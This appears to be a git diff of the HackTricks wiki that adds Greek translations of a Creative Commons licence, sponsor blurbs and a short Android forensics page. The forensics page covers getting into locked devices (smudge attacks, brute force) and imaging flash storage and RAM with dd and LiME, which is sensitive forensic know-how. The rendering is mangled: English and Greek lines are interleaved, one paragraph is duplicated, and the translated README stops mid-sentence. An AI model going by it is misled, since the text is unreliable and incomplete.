|
||||
Your exercise of the Licensed Rights is expressly made subject to the following conditions.
|
||||
|
||||
a. ___Attribution.___
|
||||
|
||||
1. If You Share the Licensed Material (including in modified form), You must:
|
||||
|
||||
A. retain the following if it is supplied by the Licensor with the Licensed Material:
|
||||
|
||||
i. identification of the creator(s) of the Licensed Material and any others designated to receive attribution, in any reasonable manner requested by the Licensor (including by pseudonym if designated);
|
||||
|
||||
ii. a copyright notice;
|
||||
|
||||
iii. a notice that refers to this Public License;
|
||||
|
||||
iv. a notice that refers to the disclaimer of warranties;
|
||||
|
||||
v. a URI or hyperlink to the Licensed Material to the extent reasonably practicable;
|
||||
|
||||
B. indicate if You modified the Licensed Material and retain an indication of any previous modifications; and
|
||||
|
||||
C. indicate the Licensed Material is licensed under this Public License, and include the text of, or the URI or hyperlink to, this Public License.
|
||||
|
||||
2. You may satisfy the conditions in Section 3(a)(1) in any reasonable manner based on the medium, means, and context in which You Share the Licensed Material. For example, it may be reasonable to satisfy the conditions by providing a URI or hyperlink to a resource that includes the required information.
|
||||
|
||||
3. If requested by the Licensor, You must remove any of the information required by Section 3(a)(1)(A) to the extent reasonably practicable.
|
||||
|
||||
4. If You Share Adapted Material You produce, the Adapter's License You apply must not prevent recipients of the Adapted Material from complying with this Public License.
|
||||
|
||||
## Section 4 – Sui Generis Database Rights.
|
||||
|
||||
Where the Licensed Rights include Sui Generis Database Rights that apply to Your use of the Licensed Material:
|
||||
|
||||
a. for the avoidance of doubt, Section 2(a)(1) grants You the right to extract, reuse, reproduce, and Share all or a substantial portion of the contents of the database for NonCommercial purposes only;
|
||||
|
||||
b. if You include all or a substantial portion of the database contents in a database in which You have Sui Generis Database Rights, then the database in which You have Sui Generis Database Rights (but not its individual contents) is Adapted Material; and
|
||||
|
||||
c. You must comply with the conditions in Section 3(a) if You Share all or a substantial portion of the contents of the database.
|
||||
|
||||
For the avoidance of doubt, this Section 4 supplements and does not replace Your obligations under this Public License where the Licensed Rights include other Copyright and Similar Rights.
|
||||
|
||||
## Section 5 – Disclaimer of Warranties and Limitation of Liability.
|
||||
|
||||
a. __Unless otherwise separately undertaken by the Licensor, to the extent possible, the Licensor offers the Licensed Material as-is and as-available, and makes no representations or warranties of any kind concerning the Licensed Material, whether express, implied, statutory, or other. This includes, without limitation, warranties of title, merchantability, fitness for a particular purpose, non-infringement, absence of latent or other defects, accuracy, or the presence or absence of errors, whether or not known or discoverable. Where disclaimers of warranties are not allowed in full or in part, this disclaimer may not apply to You.__
|
||||
|
||||
b. __To the extent possible, in no event will the Licensor be liable to You on any legal theory (including, without limitation, negligence) or otherwise for any direct, special, indirect, incidental, consequential, punitive, exemplary, or other losses, costs, expenses, or damages arising out of this Public License or use of the Licensed Material, even if the Licensor has been advised of the possibility of such losses, costs, expenses, or damages. Where a limitation of liability is not allowed in full or in part, this limitation may not apply to You.__
|
||||
|
||||
c. The disclaimer of warranties and limitation of liability provided above shall be interpreted in a manner that, to the extent possible, most closely approximates an absolute disclaimer and waiver of all liability.
|
||||
|
||||
## Section 6 – Term and Termination.
|
||||
|
||||
a. This Public License applies for the term of the Copyright and Similar Rights licensed here. However, if You fail to comply with this Public License, then Your rights under this Public License terminate automatically.
|
||||
|
||||
b. Where Your right to use the Licensed Material has terminated under Section 6(a), it reinstates:
|
||||
|
||||
1. automatically as of the date the violation is cured, provided it is cured within 30 days of Your discovery of the violation; or
|
||||
|
||||
2. upon express reinstatement by the Licensor.
|
||||
|
||||
For the avoidance of doubt, this Section 6(b) does not affect any right the Licensor may have to seek remedies for Your violations of this Public License.
|
||||
|
||||
c. For the avoidance of doubt, the Licensor may also offer the Licensed Material under separate terms or conditions or stop distributing the Licensed Material at any time; however, doing so will not terminate this Public License.
|
||||
|
||||
d. Sections 1, 5, 6, 7, and 8 survive termination of this Public License.
|
||||
|
||||
## Section 7 – Other Terms and Conditions.
|
||||
|
||||
a. The Licensor shall not be bound by any additional or different terms or conditions communicated by You unless expressly agreed.
|
||||
|
||||
b. Any arrangements, understandings, or agreements regarding the Licensed Material not stated herein are separate from and independent of the terms and conditions of this Public License.
|
||||
|
||||
## Section 8 – Interpretation.
|
||||
|
||||
a. For the avoidance of doubt, this Public License does not, and shall not be interpreted to, reduce, limit, restrict, or impose conditions on any use of the Licensed Material that could lawfully be made without permission under this Public License.
|
||||
|
||||
b. To the extent possible, if any provision of this Public License is deemed unenforceable, it shall be automatically reformed to the minimum extent necessary to make it enforceable. If the provision cannot be reformed, it shall be severed from this Public License without affecting the enforceability of the remaining terms and conditions.
|
||||
|
||||
c. No term or condition of this Public License will be waived and no failure to comply consented to unless expressly agreed to by the Licensor.
|
||||
|
||||
d. Nothing in this Public License constitutes or may be interpreted as a limitation upon, or waiver of, any privileges and immunities that apply to the Licensor or You, including from the legal processes of any jurisdiction or authority.
|
||||
γ. Κανένας όρος ή προϋπόθεση αυτής της Δημόσιας Άδειας δεν θα αποδεσμευθεί και καμία αποτυχία να συμμορφωθεί θα γίνει αποδεκτή εκτός αν συμφωνηθεί ρητώς από τον Αδειοδόχο.
|
||||
|
||||
δ. Τίποτα σε αυτήν τη Δημόσια Άδεια δεν αποτελεί ή μπορεί να ερμηνευθεί ως περιορισμός ή απαλλαγή από οποιαδήποτε προνόμια και ασυλίες που ισχύουν για τον Αδειοδόχο ή για εσάς, συμπεριλαμβανομένων των νομικών διαδικασιών οποιασδήποτε δικαιοδοσίας ή αρχής.
|
||||
```
|
||||
Creative Commons is not a party to its public licenses. Notwithstanding, Creative Commons may elect to apply one of its public licenses to material it publishes and in those instances will be considered the “Licensor.” Except for the limited purpose of indicating that material is shared under a Creative Commons public license or as otherwise permitted by the Creative Commons policies published at [creativecommons.org/policies](http://creativecommons.org/policies), Creative Commons does not authorize the use of the trademark “Creative Commons” or any other trademark or logo of Creative Commons without its prior written consent including, without limitation, in connection with any unauthorized modifications to any of its public licenses or any other arrangements, understandings, or agreements concerning use of licensed material. For the avoidance of doubt, this paragraph does not form part of the public licenses.
|
||||
Creative Commons is not a party to its public licenses. Notwithstanding, Creative Commons may elect to apply one of its public licenses to material it publishes and in those instances will be considered the “Licensor.” Except for the limited purpose of indicating that material is shared under a Creative Commons public license or as otherwise permitted by the Creative Commons policies published at [creativecommons.org/policies](http://creativecommons.org/policies), Creative Commons does not authorize the use of the trademark “Creative Commons” or any other trademark or logo of Creative Commons without its prior written consent including, without limitation, in connection with any unauthorized modifications to any of its public licenses or any other arrangements, understandings, or agreements concerning use of licensed material. For the avoidance of doubt, this paragraph does not form part of the public licenses.
|
||||
|
||||
Creative Commons may be contacted at [creativecommons.org](http://creativecommons.org/).
|
||||
```
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
|
98
README.md
98
README.md
|
@ -2,39 +2,39 @@
|
|||
|
||||
<figure><img src=".gitbook/assets/hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
_Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
_Λογότυπα και σχεδιασμός κίνησης του Hacktricks από τον_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
|
||||
{% hint style="success" %}
|
||||
**Welcome to the wiki where you will find each hacking trick/technique/whatever I have learnt from CTFs, real life apps, reading researches, and news.**
|
||||
**Καλώς ήρθατε στο wiki όπου θα βρείτε κάθε κόλπο/τεχνική/οτιδήποτε έχω μάθει από CTFs, εφαρμογές στην πραγματική ζωή, αναγνώσεις ερευνών και ειδήσεων.**
|
||||
{% endhint %}
|
||||
|
||||
To get started follow this page where you will find the **typical flow** that **you should follow when pentesting** one or more **machines:**
|
||||
Για να ξεκινήσετε, ακολουθήστε αυτήν τη σελίδα όπου θα βρείτε την **τυπική ροή** που **πρέπει να ακολουθήσετε κατά τον pentesting** ενός ή περισσότερων **μηχανημάτων:**
|
||||
|
||||
{% content-ref url="generic-methodologies-and-resources/pentesting-methodology.md" %}
|
||||
[pentesting-methodology.md](generic-methodologies-and-resources/pentesting-methodology.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Platinum Sponsors
|
||||
## Χορηγοί Platinum
|
||||
|
||||
_Your company could be here._
|
||||
_Η εταιρεία σας θα μπορούσε να είναι εδώ._
|
||||
|
||||
## Corporate Sponsors
|
||||
## Εταιρικοί Χορηγοί
|
||||
|
||||
### [STM Cyber](https://www.stmcyber.com)
|
||||
|
||||
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**STM Cyber**](https://www.stmcyber.com) is a great cybersecurity company whose slogan is **HACK THE UNHACKABLE**. They perform their own research and develop their own hacking tools to **offer several valuable cybersecurity services** like pentesting, Red teams and training.
|
||||
[**STM Cyber**](https://www.stmcyber.com) είναι μια εξαιρετική εταιρεία κυβερνοασφάλειας, το σύνθημα της οποίας είναι **HACK THE UNHACKABLE**. Διεξάγουν τις δικές τους έρευνες και αναπτύσσουν τα δικά τους εργαλεία χάκερ για να προσφέρουν πολλές αξιόλογες υπηρεσίες κυβερνοασφάλειας, όπως pentesting, Red teams και εκπαίδευση.
|
||||
|
||||
You can check their **blog** in [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
|
||||
Μπορείτε να ελέγξετε το **blog** τους στο [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
|
||||
|
||||
**STM Cyber** also support cybersecurity open source projects like HackTricks :)
|
||||
**Η STM Cyber** υποστηρίζει επίσης ανοιχτά εργαλεία κυβερνοασφάλειας όπως το HackTricks :)
|
||||
|
||||
### [RootedCON](https://www.rootedcon.com/)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
|
||||
[**RootedCON**](https://www.rootedcon.com) είναι το πιο σημαντικό συνέδριο κυβερνοασφάλειας στην **Ισπανία** και ένα από τα πιο σημαντικά στην **Ευρώπη**. Με **αποστολή να προωθήσει την τεχνική γνώση**, αυτό το συνέδριο είναι ένας ζωηρός σημείο συνάντησης για επαγγελματίες τεχνολογίας και κυβερνοασφάλειας σε κάθε ειδικότητα.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
@ -42,9 +42,9 @@ You can check their **blog** in [**https://blog.stmcyber.com**](https://blog.stm
|
|||
|
||||
<figure><img src=".gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Intigriti** is the **Europe's #1** ethical hacking and **bug bounty platform.**
|
||||
**Intigriti** είναι η **αριθμός 1** ευρωπαϊκή πλατφόρμα για ηθικό χάκινγκ και **bug bounty**.
|
||||
|
||||
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
|
||||
**Συμβουλή bug bounty**: **εγγραφείτε** στο **Intigriti**, μια προηγμένη **πλατφόρμα bug bounty που δημιουργήθηκε από χάκερ, για χάκερ**! Γίνετε μέλος στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα και αρχίστε να κερδίζετε αμοιβές έως και **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
|
@ -53,9 +53,9 @@ You can check their **blog** in [**https://blog.stmcyber.com**](https://blog.stm
|
|||
<figure><img src=".gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.
|
||||
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να αυτοματοποιήσετε ροές εργασίας με τα πιο προηγμένα εργαλεία κοινότητας στον κόσμο.
|
||||
|
||||
Get Access Today:
|
||||
Αποκτήστε πρόσβαση σήμερα:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -63,60 +63,14 @@ Get Access Today:
|
|||
|
||||
<figure><img src=".gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Stay a step ahead in the cybersecurity game.
|
||||
Μείνετε ένα βήμα μπροστά στο παιχνίδι της κυβερνοασφάλειας.
|
||||
|
||||
[**Intruder**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) makes vulnerability management easy. Keep track of your attack surface, see where your company is vulnerable, and prioritize issues that leave your systems most exposed so you can focus on what matters most.
|
||||
Το [**Intruder**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) καθιστά τη διαχείριση ευπαθειών εύκολη. Παρακολουθήστε την επιθετική επιφάνεια επίθεσης, δείτε πού είναι ευάλωτη η εταιρεία σας και δώστε προτεραιότητα στα θέματα που αφήνουν τα συστήματά σας πιο εκτεθειμένα, ώστε να μπορείτε να επικεντρωθείτε στα πιο σημαντικά.
|
||||
|
||||
Run thousands of checks with a single platform that covers your entire tech stack from internal infrastructure to web apps, APIs and cloud systems. Integrate seamlessly with [AWS, GCP, Azure](https://www.intruder.io/cloud-vulnerability-scanning-for-aws-google-cloud-and-azure) and streamline DevOps so your team can implement fixes faster.
|
||||
Εκτελέστε χιλιάδες ελέγχους με μια μόνο πλατφόρμα που καλύπτει ολόκληρο το τεχνολογικό σας στοίχημα από την εσωτερική υποδομή
|
||||
## Άδεια χρήσης και Αποποίηση Ευθυνών
|
||||
|
||||
Intruder never rests. Round-the-clock protection monitors your systems 24/7. Want to learn more? Visit their site and take it for a spin with [**a free trial**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
### [HACKENPROOF](https://bit.ly/3xrrDrL)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
**Hacking Insights**\
|
||||
Engage with content that delves into the thrill and challenges of hacking
|
||||
|
||||
**Real-Time Hack News**\
|
||||
Keep up-to-date with fast-paced hacking world through real-time news and insights
|
||||
|
||||
**Latest Announcements**\
|
||||
Stay informed with the newest bug bounties launching and crucial platform updates
|
||||
|
||||
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
|
||||
|
||||
***
|
||||
|
||||
### [Pentest-Tools.com](https://pentest-tools.com/) - The essential penetration testing toolkit
|
||||
|
||||
<figure><img src=".gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Instantly available setup for vulnerability assessment & penetration testing**. Run a full pentest from anywhere with 20+ tools & features that go from recon to reporting. We don't replace pentesters - we develop custom tools, detection & exploitation modules to give them back some time to dig deeper, pop shells, and have fun.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
### [WebSec](https://websec.nl/)
|
||||
|
||||
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WebSec**](https://websec.nl) is a professional cybersecurity company based in **Amsterdam** which helps **protecting** businesses **all over the world** against the latest cybersecurity threats by providing **offensive-security services** with a **modern** approach.
|
||||
|
||||
WebSec is an **all-in-one security company** which means they do it all; Pentesting, **Security** Audits, Awareness Trainings, Phishing Campagnes, Code Review, Exploit Development, Security Experts Outsourcing and much more.
|
||||
|
||||
Another cool thing about WebSec is that unlike the industry average WebSec is **very confident in their skills**, to such an extent that they **guarantee the best quality results**, it states on their website "**If we can't hack it, You don't pay it!**". For more info take a look at their [**website**](https://websec.nl/en/) and [**blog**](https://websec.nl/blog/)!
|
||||
|
||||
In addition to the above WebSec is also a **committed supporter of HackTricks.**
|
||||
|
||||
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
|
||||
|
||||
## License & Disclaimer
|
||||
|
||||
**Check them in:**
|
||||
**Ελέγξτε τις πληροφορίες στο:**
|
||||
|
||||
{% content-ref url="welcome/hacktricks-values-and-faq.md" %}
|
||||
[hacktricks-values-and-faq.md](welcome/hacktricks-values-and-faq.md)
|
||||
|
@ -124,14 +78,14 @@ In addition to the above WebSec is also a **committed supporter of HackTricks.**
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,51 +1,51 @@
|
|||
# Android Forensics
|
||||
# Ανάλυση Android
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
## Locked Device
|
||||
## Κλειδωμένη Συσκευή
|
||||
|
||||
To start extracting data from an Android device it has to be unlocked. If it's locked you can:
|
||||
Για να ξεκινήσετε την ανάκτηση δεδομένων από μια συσκευή Android, πρέπει να είναι ξεκλείδωτη. Εάν είναι κλειδωμένη, μπορείτε:
|
||||
|
||||
* Check if the device has debugging via USB activated.
|
||||
* Check for a possible [smudge attack](https://www.usenix.org/legacy/event/woot10/tech/full\_papers/Aviv.pdf)
|
||||
* Try with [Brute-force](https://www.cultofmac.com/316532/this-brute-force-device-can-crack-any-iphones-pin-code/)
|
||||
* Ελέγξτε εάν η συσκευή έχει ενεργοποιημένη την αποσφαλμάτωση μέσω USB.
|
||||
* Ελέγξτε για πιθανή [επίθεση με αποτυπώματα](https://www.usenix.org/legacy/event/woot10/tech/full\_papers/Aviv.pdf)
|
||||
* Δοκιμάστε με [Brute-force](https://www.cultofmac.com/316532/this-brute-force-device-can-crack-any-iphones-pin-code/)
|
||||
|
||||
## Data Adquisition
|
||||
## Απόκτηση Δεδομένων
|
||||
|
||||
Create an [android backup using adb](mobile-pentesting/android-app-pentesting/adb-commands.md#backup) and extract it using [Android Backup Extractor](https://sourceforge.net/projects/adbextractor/): `java -jar abe.jar unpack file.backup file.tar`
|
||||
Δημιουργήστε ένα [αντίγραφο ασφαλείας Android χρησιμοποιώντας το adb](mobile-pentesting/android-app-pentesting/adb-commands.md#backup) και εξαγάγετε το χρησιμοποιώντας το [Android Backup Extractor](https://sourceforge.net/projects/adbextractor/): `java -jar abe.jar unpack file.backup file.tar`
|
||||
|
||||
### If root access or physical connection to JTAG interface
|
||||
### Εάν έχετε πρόσβαση σε root ή φυσική σύνδεση με τη διεπαφή JTAG
|
||||
|
||||
* `cat /proc/partitions` (search the path to the flash memory, generally the first entry is _mmcblk0_ and corresponds to the whole flash memory).
|
||||
* `df /data` (Discover the block size of the system).
|
||||
* dd if=/dev/block/mmcblk0 of=/sdcard/blk0.img bs=4096 (execute it with the information gathered from the block size).
|
||||
* `cat /proc/partitions` (αναζητήστε τη διαδρομή προς τη μνήμη flash, συνήθως η πρώτη καταχώρηση είναι _mmcblk0_ και αντιστοιχεί στην ολόκληρη μνήμη flash).
|
||||
* `df /data` (Ανακαλύψτε το μέγεθος του μπλοκ του συστήματος).
|
||||
* dd if=/dev/block/mmcblk0 of=/sdcard/blk0.img bs=4096 (εκτελέστε το με τις πληροφορίες που συλλέχθηκαν από το μέγεθος του μπλοκ).
|
||||
|
||||
### Memory
|
||||
### Μνήμη
|
||||
|
||||
Use Linux Memory Extractor (LiME) to extract the RAM information. It's a kernel extension that should be loaded via adb.
|
||||
Χρησιμοποιήστε το Linux Memory Extractor (LiME) για να εξαγάγετε τις πληροφορίες της RAM. Είναι μια επέκταση πυρήνα που πρέπει να φορτωθεί μέσω adb.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
|
|
